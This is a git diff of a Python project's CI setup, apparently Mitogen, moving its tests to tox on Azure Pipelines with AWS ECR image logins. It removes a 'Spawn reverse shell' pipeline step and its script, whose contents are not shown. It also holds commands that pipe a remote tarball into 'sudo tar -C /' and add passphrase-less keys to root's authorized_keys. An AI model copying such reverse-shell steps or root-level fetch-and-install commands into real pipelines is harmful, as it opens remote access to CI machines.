diff --git a/.ci/README.md b/.ci/README.md index 1b9f9dfa..67a3805b 100644 --- a/.ci/README.md +++ b/.ci/README.md @@ -1,8 +1,8 @@ # `.ci` -This directory contains scripts for Travis CI and (more or less) Azure -Pipelines, but they will also happily run on any Debian-like machine. +This directory contains scripts for Continuous Integration platforms. Currently +Azure Pipelines, but they will also happily run on any Debian-like machine. The scripts are usually split into `_install` and `_test` steps. The `_install` step will damage your machine, the `_test` step will just run the tests the way @@ -28,8 +28,6 @@ for doing `setup.py install` while pulling a Docker container, for example. ### Environment Variables -* `VER`: Ansible version the `_install` script should install. Default changes - over time. * `TARGET_COUNT`: number of targets for `debops_` run. Defaults to 2. * `DISTRO`: the `mitogen_` tests need a target Docker container distro. This name comes from the Docker Hub `mitogen` user, i.e. `mitogen/$DISTRO-test` diff --git a/.ci/ansible_install.py b/.ci/ansible_install.py index 906961db..900303f6 100755 --- a/.ci/ansible_install.py +++ b/.ci/ansible_install.py @@ -4,21 +4,8 @@ import ci_lib batches = [ [ - # Must be installed separately, as PyNACL indirect requirement causes - # newer version to be installed if done in a single pip run. - # Separately install ansible based on version passed in from azure-pipelines.yml or .travis.yml - 'pip install "pycparser<2.19" "idna<2.7"', - 'pip install ' - '-r tests/requirements.txt ' - '-r tests/ansible/requirements.txt', - # encoding is required for installing ansible 2.10 with pip2, otherwise we get a UnicodeDecode error - 'LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 pip install -q ansible=={0}'.format(ci_lib.ANSIBLE_VERSION) + 'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws', ] ] -batches.extend( - ['docker pull %s' % (ci_lib.image_for_distro(distro),)] - for distro in ci_lib.DISTROS -) - ci_lib.run_batches(batches) diff --git a/.ci/ansible_tests.py b/.ci/ansible_tests.py index c81f9539..3c3684f4 100755 --- a/.ci/ansible_tests.py +++ b/.ci/ansible_tests.py @@ -7,7 +7,6 @@ import signal import sys import ci_lib -from ci_lib import run TESTS_DIR = os.path.join(ci_lib.GIT_ROOT, 'tests/ansible') @@ -40,10 +39,10 @@ with ci_lib.Fold('job_setup'): os.chdir(TESTS_DIR) os.chmod('../data/docker/mitogen__has_sudo_pubkey.key', int('0600', 7)) - run("mkdir %s", HOSTS_DIR) + ci_lib.run("mkdir %s", HOSTS_DIR) for path in glob.glob(TESTS_DIR + '/hosts/*'): if not path.endswith('default.hosts'): - run("ln -s %s %s", path, HOSTS_DIR) + ci_lib.run("ln -s %s %s", path, HOSTS_DIR) inventory_path = os.path.join(HOSTS_DIR, 'target') with open(inventory_path, 'w') as fp: @@ -63,16 +62,14 @@ with ci_lib.Fold('job_setup'): ci_lib.dump_file(inventory_path) if not ci_lib.exists_in_path('sshpass'): - run("sudo apt-get update") - run("sudo apt-get install -y sshpass") + ci_lib.run("sudo apt-get update") + ci_lib.run("sudo apt-get install -y sshpass") - run("bash -c 'sudo ln -vfs /usr/lib/python2.7/plat-x86_64-linux-gnu/_sysconfigdata_nd.py /usr/lib/python2.7 || true'") - run("bash -c 'sudo ln -vfs /usr/lib/python2.7/plat-x86_64-linux-gnu/_sysconfigdata_nd.py $VIRTUAL_ENV/lib/python2.7 || true'") with ci_lib.Fold('ansible'): playbook = os.environ.get('PLAYBOOK', 'all.yml') try: - run('./run_ansible_playbook.py %s -i "%s" -vvv %s', + ci_lib.run('./run_ansible_playbook.py %s -i "%s" %s', playbook, HOSTS_DIR, ' '.join(sys.argv[1:])) except: pause_if_interactive() diff --git a/.ci/azure-pipelines-steps.yml b/.ci/azure-pipelines-steps.yml index 41b6a836..50f1a16b 100644 --- a/.ci/azure-pipelines-steps.yml +++ b/.ci/azure-pipelines-steps.yml @@ -5,19 +5,18 @@ parameters: sign: false steps: -- script: "PYTHONVERSION=$(python.version) .ci/prep_azure.py" - displayName: "Run prep_azure.py" +- task: UsePythonVersion@0 + displayName: Install python + inputs: + versionSpec: '$(python.version)' + condition: ne(variables['python.version'], '') -- script: | - echo "##vso[task.prependpath]/tmp/venv/bin" +- script: python -mpip install tox + displayName: Install tooling - displayName: activate venv - -- script: .ci/spawn_reverse_shell.py - displayName: "Spawn reverse shell" - -- script: .ci/$(MODE)_install.py - displayName: "Run $(MODE)_install.py" - -- script: .ci/$(MODE)_tests.py - displayName: "Run $(MODE)_tests.py" +- script: python -mtox -e "$(tox.env)" + displayName: "Run tests" + env: + AWS_ACCESS_KEY_ID: $(AWS_ACCESS_KEY_ID) + AWS_SECRET_ACCESS_KEY: $(AWS_SECRET_ACCESS_KEY) + AWS_DEFAULT_REGION: $(AWS_DEFAULT_REGION) diff --git a/.ci/azure-pipelines.yml b/.ci/azure-pipelines.yml index d436f175..6f45397b 100644 --- a/.ci/azure-pipelines.yml +++ b/.ci/azure-pipelines.yml @@ -3,72 +3,192 @@ # Add steps that analyze code, save the dist with the build record, publish to a PyPI-compatible index, and more: # https://docs.microsoft.com/azure/devops/pipelines/languages/python -jobs: +# User defined variables are also injected as environment variables +# https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables#environment-variables +#variables: + #ANSIBLE_VERBOSITY: 3 -- job: Mac +jobs: +- job: Mac1015 # vanilla Ansible is really slow timeoutInMinutes: 120 steps: - template: azure-pipelines-steps.yml pool: + # https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md vmImage: macOS-10.15 strategy: matrix: - Mito27_27: + Mito_27: python.version: '2.7' - MODE: mitogen - VER: 2.10.0 + tox.env: py27-mode_mitogen + Mito_36: + python.version: '3.6' + tox.env: py36-mode_mitogen + Mito_310: + python.version: '3.10' + tox.env: py310-mode_mitogen + # TODO: test python3, python3 tests are broken - Ans210_27: + Loc_27_210: python.version: '2.7' - MODE: localhost_ansible - VER: 2.10.0 + tox.env: py27-mode_localhost-ansible2.10 + Loc_27_3: + python.version: '2.7' + tox.env: py27-mode_localhost-ansible3 + Loc_27_4: + python.version: '2.7' + tox.env: py27-mode_localhost-ansible4 # NOTE: this hangs when ran in Ubuntu 18.04 - Vanilla_210_27: + Van_27_210: python.version: '2.7' - MODE: localhost_ansible - VER: 2.10.0 + tox.env: py27-mode_localhost-ansible2.10 STRATEGY: linear + ANSIBLE_SKIP_TAGS: resource_intensive + Van_27_3: + python.version: '2.7' + tox.env: py27-mode_localhost-ansible3 + STRATEGY: linear + ANSIBLE_SKIP_TAGS: resource_intensive + Van_27_4: + python.version: '2.7' + tox.env: py27-mode_localhost-ansible4 + STRATEGY: linear + ANSIBLE_SKIP_TAGS: resource_intensive + +- job: Mac11 + # vanilla Ansible is really slow + timeoutInMinutes: 120 + steps: + - template: azure-pipelines-steps.yml + pool: + # https://github.com/actions/virtual-environments/blob/main/images/macos/ + vmImage: macOS-11 + strategy: + matrix: + Mito_27: + tox.env: py27-mode_mitogen + Mito_37: + python.version: '3.7' + tox.env: py37-mode_mitogen + Mito_310: + python.version: '3.10' + tox.env: py310-mode_mitogen + # TODO: test python3, python3 tests are broken + Loc_27_210: + tox.env: py27-mode_localhost-ansible2.10 + Loc_27_3: + tox.env: py27-mode_localhost-ansible3 + Loc_27_4: + tox.env: py27-mode_localhost-ansible4 + + # NOTE: this hangs when ran in Ubuntu 18.04 + Van_27_210: + tox.env: py27-mode_localhost-ansible2.10 + STRATEGY: linear + ANSIBLE_SKIP_TAGS: resource_intensive + Van_27_3: + tox.env: py27-mode_localhost-ansible3 + STRATEGY: linear + ANSIBLE_SKIP_TAGS: resource_intensive + Van_27_4: + tox.env: py27-mode_localhost-ansible4 + STRATEGY: linear + ANSIBLE_SKIP_TAGS: resource_intensive - job: Linux pool: + # https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-README.md vmImage: "Ubuntu 18.04" steps: - template: azure-pipelines-steps.yml strategy: matrix: - # - # Confirmed working - # - Mito27Debian_27: + Mito_27_centos6: python.version: '2.7' - MODE: mitogen - DISTRO: debian - VER: 2.10.0 - - #MitoPy27CentOS6_26: - #python.version: '2.7' - #MODE: mitogen - #DISTRO: centos6 + tox.env: py27-mode_mitogen-distro_centos6 + Mito_27_centos7: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_centos7 + Mito_27_centos8: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_centos8 + Mito_27_debian9: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_debian9 + Mito_27_debian10: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_debian10 + Mito_27_debian11: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_debian11 + Mito_27_ubuntu1604: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_ubuntu1604 + Mito_27_ubuntu1804: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_ubuntu1804 + Mito_27_ubuntu2004: + python.version: '2.7' + tox.env: py27-mode_mitogen-distro_ubuntu2004 - Mito36CentOS6_26: + Mito_36_centos6: python.version: '3.6' - MODE: mitogen - DISTRO: centos6 - VER: 2.10.0 - - Mito37Debian_27: - python.version: '3.7' - MODE: mitogen - DISTRO: debian - VER: 2.10.0 + tox.env: py36-mode_mitogen-distro_centos6 + Mito_36_centos7: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_centos7 + Mito_36_centos8: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_centos8 + Mito_36_debian9: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_debian9 + Mito_36_debian10: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_debian10 + Mito_36_debian11: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_debian11 + Mito_36_ubuntu1604: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_ubuntu1604 + Mito_36_ubuntu1804: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_ubuntu1804 + Mito_36_ubuntu2004: + python.version: '3.6' + tox.env: py36-mode_mitogen-distro_ubuntu2004 - #Py26CentOS7: - #python.version: '2.7' - #MODE: mitogen - #DISTRO: centos6 + Mito_310_centos6: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_centos6 + Mito_310_centos7: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_centos7 + Mito_310_centos8: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_centos8 + Mito_310_debian9: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_debian9 + Mito_310_debian10: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_debian10 + Mito_310_debian11: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_debian11 + Mito_310_ubuntu1604: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_ubuntu1604 + Mito_310_ubuntu1804: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_ubuntu1804 + Mito_310_ubuntu2004: + python.version: '3.10' + tox.env: py310-mode_mitogen-distro_ubuntu2004 #DebOps_2460_27_27: #python.version: '2.7' @@ -107,12 +227,35 @@ jobs: #DISTROS: debian #STRATEGY: linear - Ansible_210_27: + Ans_27_210: python.version: '2.7' - MODE: ansible - VER: 2.10.0 + tox.env: py27-mode_ansible-ansible2.10 + Ans_27_3: + python.version: '2.7' + tox.env: py27-mode_ansible-ansible3 + Ans_27_4: + python.version: '2.7' + tox.env: py27-mode_ansible-ansible4 + + Ans_36_210: + python.version: '3.6' + tox.env: py36-mode_ansible-ansible2.10 + Ans_36_3: + python.version: '3.6' + tox.env: py36-mode_ansible-ansible3 + Ans_36_4: + python.version: '3.6' + tox.env: py36-mode_ansible-ansible4 - Ansible_210_35: - python.version: '3.5' - MODE: ansible - VER: 2.10.0 + Ans_310_210: + python.version: '3.10' + tox.env: py310-mode_ansible-ansible2.10 + Ans_310_3: + python.version: '3.10' + tox.env: py310-mode_ansible-ansible3 + Ans_310_4: + python.version: '3.10' + tox.env: py310-mode_ansible-ansible4 + Ans_310_5: + python.version: '3.10' + tox.env: py310-mode_ansible-ansible5 diff --git a/.ci/ci_lib.py b/.ci/ci_lib.py index f735f6a1..000a7a83 100644 --- a/.ci/ci_lib.py +++ b/.ci/ci_lib.py @@ -1,4 +1,3 @@ - from __future__ import absolute_import from __future__ import print_function @@ -22,6 +21,14 @@ os.chdir( ) ) +_print = print +def print(*args, **kwargs): + file = kwargs.get('file', sys.stdout) + flush = kwargs.pop('flush', False) + _print(*args, **kwargs) + if flush: + file.flush() + # # check_output() monkeypatch cutpasted from testlib.py @@ -59,55 +66,83 @@ def have_docker(): return proc.wait() == 0 -# ----------------- - -# Force line buffering on stdout. -sys.stdout = os.fdopen(1, 'w', 1) - -# Force stdout FD 1 to be a pipe, so tools like pip don't spam progress bars. -if 'TRAVIS_HOME' in os.environ: - proc = subprocess.Popen( - args=['stdbuf', '-oL', 'cat'], - stdin=subprocess.PIPE - ) - - os.dup2(proc.stdin.fileno(), 1) - os.dup2(proc.stdin.fileno(), 2) - - def cleanup_travis_junk(stdout=sys.stdout, stderr=sys.stderr, proc=proc): - stdout.close() - stderr.close() - proc.terminate() - - atexit.register(cleanup_travis_junk) - -# ----------------- - def _argv(s, *args): + """Interpolate a command line using *args, return an argv style list. + + >>> _argv('git commit -m "Use frobnicate 2.0 (fixes #%d)"', 1234) + ['git', commit', '-m', 'Use frobnicate 2.0 (fixes #1234)'] + """ if args: s %= args return shlex.split(s) def run(s, *args, **kwargs): - argv = ['/usr/bin/time', '--'] + _argv(s, *args) - print('Running: %s' % (argv,)) + """ Run a command, with arguments + + >>> rc = run('echo "%s %s"', 'foo', 'bar') + Running: ['echo', 'foo bar'] + foo bar + Finished running: ['echo', 'foo bar'] + >>> rc + 0 + """ + argv = _argv(s, *args) + print('Running: %s' % (argv,), flush=True) try: ret = subprocess.check_call(argv, **kwargs) - print('Finished running: %s' % (argv,)) + print('Finished running: %s' % (argv,), flush=True) except Exception: - print('Exception occurred while running: %s' % (argv,)) + print('Exception occurred while running: %s' % (argv,), file=sys.stderr, flush=True) raise return ret -def run_batches(batches): - combine = lambda batch: 'set -x; ' + (' && '.join( +def combine(batch): + """ + >>> combine(['ls -l', 'echo foo']) + 'set -x; ( ls -l; ) && ( echo foo; )' + """ + return 'set -x; ' + (' && '.join( '( %s; )' % (cmd,) for cmd in batch )) + +def throttle(batch, pause=1): + """ + Add pauses between commands in a batch + + >>> throttle(['echo foo', 'echo bar', 'echo baz']) + ['echo foo', 'sleep 1', 'echo bar', 'sleep 1', 'echo baz'] + """ + def _with_pause(batch, pause): + for cmd in batch: + yield cmd + yield 'sleep %i' % (pause,) + return list(_with_pause(batch, pause))[:-1] + + +def run_batches(batches): + """ Run shell commands grouped into batches, showing an execution trace. + + Raise AssertionError if any command has exits with a non-zero status. + + >>> run_batches([['echo foo', 'true']]) + + echo foo + foo + + true + >>> run_batches([['true', 'echo foo'], ['false']]) + + true + + echo foo + foo + + false + Traceback (most recent call last): + File "...", line ..., in + File "...", line ..., in run_batches + AssertionError + """ procs = [ subprocess.Popen(combine(batch), shell=True) for batch in batches @@ -116,12 +151,28 @@ def run_batches(batches): def get_output(s, *args, **kwargs): + """ + Print and run command line s, %-interopolated using *args. Return stdout. + + >>> s = get_output('echo "%s %s"', 'foo', 'bar') + Running: ['echo', 'foo bar'] + >>> s + 'foo bar\n' + """ argv = _argv(s, *args) - print('Running: %s' % (argv,)) + print('Running: %s' % (argv,), flush=True) return subprocess.check_output(argv, **kwargs) def exists_in_path(progname): + """ + Return True if progname exists in $PATH. + + >>> exists_in_path('echo') + True + >>> exists_in_path('kwyjibo') # Only found in North American cartoons + False + """ return any(os.path.exists(os.path.join(dirname, progname)) for dirname in os.environ['PATH'].split(os.pathsep)) @@ -136,23 +187,16 @@ class TempDir(object): class Fold(object): - def __init__(self, name): - self.name = name + def __init__(self, name): pass + def __enter__(self): pass + def __exit__(self, _1, _2, _3): pass - def __enter__(self): - print('travis_fold:start:%s' % (self.name)) - def __exit__(self, _1, _2, _3): - print('') - print('travis_fold:end:%s' % (self.name)) - - -os.environ.setdefault('ANSIBLE_STRATEGY', - os.environ.get('STRATEGY', 'mitogen_linear')) -ANSIBLE_VERSION = os.environ.get('VER', '2.6.2') GIT_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) -DISTRO = os.environ.get('DISTRO', 'debian') -DISTROS = os.environ.get('DISTROS', 'debian centos6 centos7').split() +# Used only when MODE=mitogen +DISTRO = os.environ.get('DISTRO', 'debian9') +# Used only when MODE=ansible +DISTROS = os.environ.get('DISTROS', 'centos6 centos8 debian9 debian11 ubuntu1604 ubuntu2004').split() TARGET_COUNT = int(os.environ.get('TARGET_COUNT', '2')) BASE_PORT = 2200 TMP = TempDir().path @@ -175,6 +219,8 @@ os.environ['PYTHONPATH'] = '%s:%s' % ( ) def get_docker_hostname(): + """Return the hostname where the docker daemon is running. + """ url = os.environ.get('DOCKER_HOST') if url in (None, 'http+docker://localunixsocket'): return 'localhost' @@ -184,10 +230,36 @@ def get_docker_hostname(): def image_for_distro(distro): - return 'mitogen/%s-test' % (distro.partition('-')[0],) + """Return the container image name or path for a test distro name. + + The returned value is suitable for use with `docker pull`. + + >>> image_for_distro('centos5') + 'public.ecr.aws/n5z0e8q9/centos5-test' + >>> image_for_distro('centos5-something_custom') + 'public.ecr.aws/n5z0e8q9/centos5-test' + """ + return 'public.ecr.aws/n5z0e8q9/%s-test' % (distro.partition('-')[0],) def make_containers(name_prefix='', port_offset=0): + """ + >>> import pprint + >>> BASE_PORT=2200; DISTROS=['debian', 'centos6'] + >>> pprint.pprint(make_containers()) + [{'distro': 'debian', + 'hostname': 'localhost', + 'image': 'public.ecr.aws/n5z0e8q9/debian-test', + 'name': 'target-debian-1', + 'port': 2201, + 'python_path': '/usr/bin/python'}, + {'distro': 'centos6', + 'hostname': 'localhost', + 'image': 'public.ecr.aws/n5z0e8q9/centos6-test', + 'name': 'target-centos6-2', + 'port': 2202, + 'python_path': '/usr/bin/python'}] + """ docker_hostname = get_docker_hostname() firstbit = lambda s: (s+'-').split('-')[0] secondbit = lambda s: (s+'-').split('-')[1] @@ -205,6 +277,7 @@ def make_containers(name_prefix='', port_offset=0): for x in range(count): lst.append({ "distro": firstbit(distro), + "image": image_for_distro(distro), "name": name_prefix + ("target-%s-%s" % (distro, i)), "hostname": docker_hostname, "port": BASE_PORT + i + port_offset, @@ -260,6 +333,14 @@ def get_interesting_procs(container_name=None): def start_containers(containers): + """Run docker containers in the background, with sshd on specified ports. + + >>> containers = start_containers([ + ... {'distro': 'debian', 'hostname': 'localhost', + ... 'name': 'target-debian-1', 'port': 2201, + ... 'python_path': '/usr/bin/python'}, + ... ]) + """ if os.environ.get('KEEP'): return @@ -275,7 +356,7 @@ def start_containers(containers): "--publish 0.0.0.0:%(port)s:22/tcp " "--hostname=%(name)s " "--name=%(name)s " - "mitogen/%(distro)s-test " + "%(image)s" % container ] for container in containers @@ -290,12 +371,10 @@ def start_containers(containers): def verify_procs(hostname, old, new): oldpids = set(pid for pid, _ in old) if any(pid not in oldpids for pid, _ in new): - print('%r had stray processes running:' % (hostname,)) + print('%r had stray processes running:' % (hostname,), file=sys.stderr, flush=True) for pid, line in new: if pid not in oldpids: - print('New process:', line) - - print() + print('New process:', line, flush=True) return False return True @@ -319,13 +398,10 @@ def check_stray_processes(old, containers=None): def dump_file(path): - print() - print('--- %s ---' % (path,)) - print() + print('--- %s ---' % (path,), flush=True) with open(path, 'r') as fp: - print(fp.read().rstrip()) - print('---') - print() + print(fp.read().rstrip(), flush=True) + print('---', flush=True) # SSH passes these through to the container when run interactively, causing diff --git a/.ci/debops_common_install.py b/.ci/debops_common_install.py index 0217c684..afafe39a 100755 --- a/.ci/debops_common_install.py +++ b/.ci/debops_common_install.py @@ -7,13 +7,10 @@ ci_lib.DISTROS = ['debian'] ci_lib.run_batches([ [ - # Must be installed separately, as PyNACL indirect requirement causes - # newer version to be installed if done in a single pip run. - 'pip install "pycparser<2.19"', - 'pip install -qqq debops[ansible]==2.1.2 ansible==%s' % ci_lib.ANSIBLE_VERSION, + 'python -m pip --no-python-version-warning --disable-pip-version-check "debops[ansible]==2.1.2"', ], [ - 'docker pull %s' % (ci_lib.image_for_distro('debian'),), + 'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws', ], ]) diff --git a/.ci/debops_common_tests.py b/.ci/debops_common_tests.py index 97631704..7db8a797 100755 --- a/.ci/debops_common_tests.py +++ b/.ci/debops_common_tests.py @@ -1,8 +1,6 @@ #!/usr/bin/env python -from __future__ import print_function import os -import shutil import sys import ci_lib @@ -60,11 +58,7 @@ with ci_lib.Fold('job_setup'): for container in containers ) - print() - print(' echo --- ansible/inventory/hosts: ---') - ci_lib.run('cat ansible/inventory/hosts') - print('---') - print() + ci_lib.dump_file('ansible/inventory/hosts') # Now we have real host key checking, we need to turn it off os.environ['ANSIBLE_HOST_KEY_CHECKING'] = 'False' diff --git a/.ci/localhost_ansible_install.py b/.ci/localhost_ansible_install.py index ddeb2ae1..d08ddafc 100755 --- a/.ci/localhost_ansible_install.py +++ b/.ci/localhost_ansible_install.py @@ -3,17 +3,6 @@ import ci_lib batches = [ - [ - # Must be installed separately, as PyNACL indirect requirement causes - # newer version to be installed if done in a single pip run. - # Separately install ansible based on version passed in from azure-pipelines.yml or .travis.yml - # Don't set -U as that will upgrade Paramiko to a non-2.6 compatible version. - 'pip install "pycparser<2.19" "idna<2.7" virtualenv', - 'pip install ' - '-r tests/requirements.txt ' - '-r tests/ansible/requirements.txt', - 'pip install -q ansible=={}'.format(ci_lib.ANSIBLE_VERSION) - ] ] ci_lib.run_batches(batches) diff --git a/.ci/localhost_ansible_tests.py b/.ci/localhost_ansible_tests.py index 6d7bef0d..69d67cd1 100755 --- a/.ci/localhost_ansible_tests.py +++ b/.ci/localhost_ansible_tests.py @@ -2,10 +2,10 @@ # Run tests/ansible/all.yml under Ansible and Ansible-Mitogen import os +import subprocess import sys import ci_lib -from ci_lib import run TESTS_DIR = os.path.join(ci_lib.GIT_ROOT, 'tests/ansible') @@ -24,33 +24,38 @@ with ci_lib.Fold('job_setup'): # NOTE: sshpass v1.06 causes errors so pegging to 1.05 -> "msg": "Error when changing password","out": "passwd: DS error: eDSAuthFailed\n", # there's a checksum error with "brew install http://git.io/sshpass.rb" though, so installing manually if not ci_lib.exists_in_path('sshpass'): - os.system("curl -O -L https://sourceforge.net/projects/sshpass/files/sshpass/1.05/sshpass-1.05.tar.gz && \ + subprocess.check_call( + "curl -O -L https://sourceforge.net/projects/sshpass/files/sshpass/1.05/sshpass-1.05.tar.gz && \ tar xvf sshpass-1.05.tar.gz && \ cd sshpass-1.05 && \ ./configure && \ - sudo make install") + sudo make install", + shell=True, + ) with ci_lib.Fold('machine_prep'): # generate a new ssh key for localhost ssh - os.system("ssh-keygen -P '' -m pem -f ~/.ssh/id_rsa") - os.system("cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys") + if not os.path.exists(os.path.expanduser("~/.ssh/id_rsa")): + subprocess.check_call("ssh-keygen -P '' -m pem -f ~/.ssh/id_rsa", shell=True) + subprocess.check_call("cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys", shell=True) + os.chmod(os.path.expanduser('~/.ssh'), int('0700', 8)) + os.chmod(os.path.expanduser('~/.ssh/authorized_keys'), int('0600', 8)) + # also generate it for the sudo user - os.system("sudo ssh-keygen -P '' -m pem -f /var/root/.ssh/id_rsa") - os.system("sudo cat /var/root/.ssh/id_rsa.pub | sudo tee -a /var/root/.ssh/authorized_keys") - os.chmod(os.path.expanduser('~/.ssh'), int('0700', 8)) - os.chmod(os.path.expanduser('~/.ssh/authorized_keys'), int('0600', 8)) - # run chmod through sudo since it's owned by root - os.system('sudo chmod 600 /var/root/.ssh') - os.system('sudo chmod 600 /var/root/.ssh/authorized_keys') + if os.system("sudo [ -f ~root/.ssh/id_rsa ]") != 0: + subprocess.check_call("sudo ssh-keygen -P '' -m pem -f ~root/.ssh/id_rsa", shell=True) + subprocess.check_call("sudo cat ~root/.ssh/id_rsa.pub | sudo tee -a ~root/.ssh/authorized_keys", shell=True) + subprocess.check_call('sudo chmod 700 ~root/.ssh', shell=True) + subprocess.check_call('sudo chmod 600 ~root/.ssh/authorized_keys', shell=True) if os.path.expanduser('~mitogen__user1') == '~mitogen__user1': os.chdir(IMAGE_PREP_DIR) - run("ansible-playbook -c local -i localhost, _user_accounts.yml -vvv") + ci_lib.run("ansible-playbook -c local -i localhost, _user_accounts.yml") with ci_lib.Fold('ansible'): os.chdir(TESTS_DIR) playbook = os.environ.get('PLAYBOOK', 'all.yml') - run('./run_ansible_playbook.py %s -l target %s -vvv', + ci_lib.run('./run_ansible_playbook.py %s -l target %s', playbook, ' '.join(sys.argv[1:])) diff --git a/.ci/mitogen_install.py b/.ci/mitogen_install.py index b8862f89..b0b1eb14 100755 --- a/.ci/mitogen_install.py +++ b/.ci/mitogen_install.py @@ -3,15 +3,11 @@ import ci_lib batches = [ - [ - 'pip install "pycparser<2.19" "idna<2.7"', - 'pip install -r tests/requirements.txt', - ] ] if ci_lib.have_docker(): batches.append([ - 'docker pull %s' % (ci_lib.image_for_distro(ci_lib.DISTRO),), + 'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws', ]) diff --git a/.ci/mitogen_py24_install.py b/.ci/mitogen_py24_install.py index 868ae4e4..bd6ecb24 100755 --- a/.ci/mitogen_py24_install.py +++ b/.ci/mitogen_py24_install.py @@ -4,7 +4,7 @@ import ci_lib batches = [ [ - 'docker pull %s' % (ci_lib.image_for_distro(ci_lib.DISTRO),), + 'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws', ], [ 'curl https://dw.github.io/mitogen/binaries/ubuntu-python-2.4.6.tar.bz2 | sudo tar -C / -jxv', diff --git a/.ci/prep_azure.py b/.ci/prep_azure.py deleted file mode 100755 index e236e3e7..00000000 --- a/.ci/prep_azure.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python - -import os -import sys - -import ci_lib - -batches = [] - -if 0 and os.uname()[0] == 'Linux': - batches += [ - [ - "sudo chown `whoami`: ~", - "chmod u=rwx,g=rx,o= ~", - - "sudo mkdir /var/run/sshd", - "sudo /etc/init.d/ssh start", - - "mkdir -p ~/.ssh", - "chmod u=rwx,go= ~/.ssh", - - "ssh-keyscan -H localhost >> ~/.ssh/known_hosts", - "chmod u=rw,go= ~/.ssh/known_hosts", - - "cat tests/data/docker/mitogen__has_sudo_pubkey.key > ~/.ssh/id_rsa", - "chmod u=rw,go= ~/.ssh/id_rsa", - - "cat tests/data/docker/mitogen__has_sudo_pubkey.key.pub > ~/.ssh/authorized_keys", - "chmod u=rw,go=r ~/.ssh/authorized_keys", - ] - ] - -# setup venv, need all python commands in 1 list to be subprocessed at the same time -venv_steps = [] - -need_to_fix_psycopg2 = False - -is_python3 = os.environ['PYTHONVERSION'].startswith('3') - -# @dw: The VSTS-shipped Pythons available via UsePythonVErsion are pure garbage, -# broken symlinks, incorrect permissions and missing codecs. So we use the -# deadsnakes PPA to get sane Pythons, and setup a virtualenv to install our -# stuff into. The virtualenv can probably be removed again, but this was a -# hard-fought battle and for now I am tired of this crap. -if ci_lib.have_apt(): - venv_steps.extend([ - 'echo force-unsafe-io | sudo tee /etc/dpkg/dpkg.cfg.d/nosync', - 'sudo add-apt-repository ppa:deadsnakes/ppa', - 'sudo apt-get update', - 'sudo apt-get -y install ' - 'python{pv} ' - 'python{pv}-dev ' - 'libsasl2-dev ' - 'libldap2-dev ' - .format(pv=os.environ['PYTHONVERSION']), - 'sudo ln -fs /usr/bin/python{pv} /usr/local/bin/python{pv}' - .format(pv=os.environ['PYTHONVERSION']) - ]) - if is_python3: - venv_steps.append('sudo apt-get -y install python{pv}-venv'.format(pv=os.environ['PYTHONVERSION'])) -# TODO: somehow `Mito36CentOS6_26` has both brew and apt installed https://dev.azure.com/dw-mitogen/Mitogen/_build/results?buildId=1031&view=logs&j=7bdbcdc6-3d3e-568d-ccf8-9ddca1a9623a&t=73d379b6-4eea-540f-c97e-046a2f620483 -elif is_python3 and ci_lib.have_brew(): - # Mac's System Integrity Protection prevents symlinking /usr/bin - # and Azure isn't allowing disabling it apparently: https://developercommunityapi.westus.cloudapp.azure.com/idea/558702/allow-disabling-sip-on-microsoft-hosted-macos-agen.html - # so we'll use /usr/local/bin/python for everything - # /usr/local/bin/python2.7 already exists! - need_to_fix_psycopg2 = True - venv_steps.append( - 'brew install python@{pv} postgresql' - .format(pv=os.environ['PYTHONVERSION']) - ) - -# need wheel before building virtualenv because of bdist_wheel and setuptools deps -venv_steps.append('/usr/local/bin/python{pv} -m pip install -U pip wheel setuptools'.format(pv=os.environ['PYTHONVERSION'])) - -if os.environ['PYTHONVERSION'].startswith('2'): - venv_steps.extend([ - '/usr/local/bin/python{pv} -m pip install -U virtualenv'.format(pv=os.environ['PYTHONVERSION']), - '/usr/local/bin/python{pv} -m virtualenv /tmp/venv -p /usr/local/bin/python{pv}'.format(pv=os.environ['PYTHONVERSION']) - ]) -else: - venv_steps.append('/usr/local/bin/python{pv} -m venv /tmp/venv'.format(pv=os.environ['PYTHONVERSION'])) -# fixes https://stackoverflow.com/questions/59595649/can-not-install-psycopg2-on-macos-catalina https://github.com/Azure/azure-cli/issues/12854#issuecomment-619213863 -if need_to_fix_psycopg2: - venv_steps.append('/tmp/venv/bin/pip3 install psycopg2==2.8.5 psycopg2-binary') - -batches.append(venv_steps) - - -if ci_lib.have_docker(): - batches.extend( - ['docker pull %s' % (ci_lib.image_for_distro(distro),)] - for distro in ci_lib.DISTROS - ) - - -ci_lib.run_batches(batches) diff --git a/.ci/spawn_reverse_shell.py b/.ci/spawn_reverse_shell.py deleted file mode 100755 index 8a6b9500..00000000 --- a/.ci/spawn_reverse_shell.py +++ /dev/null @@ -1,36 +0,0 @@ 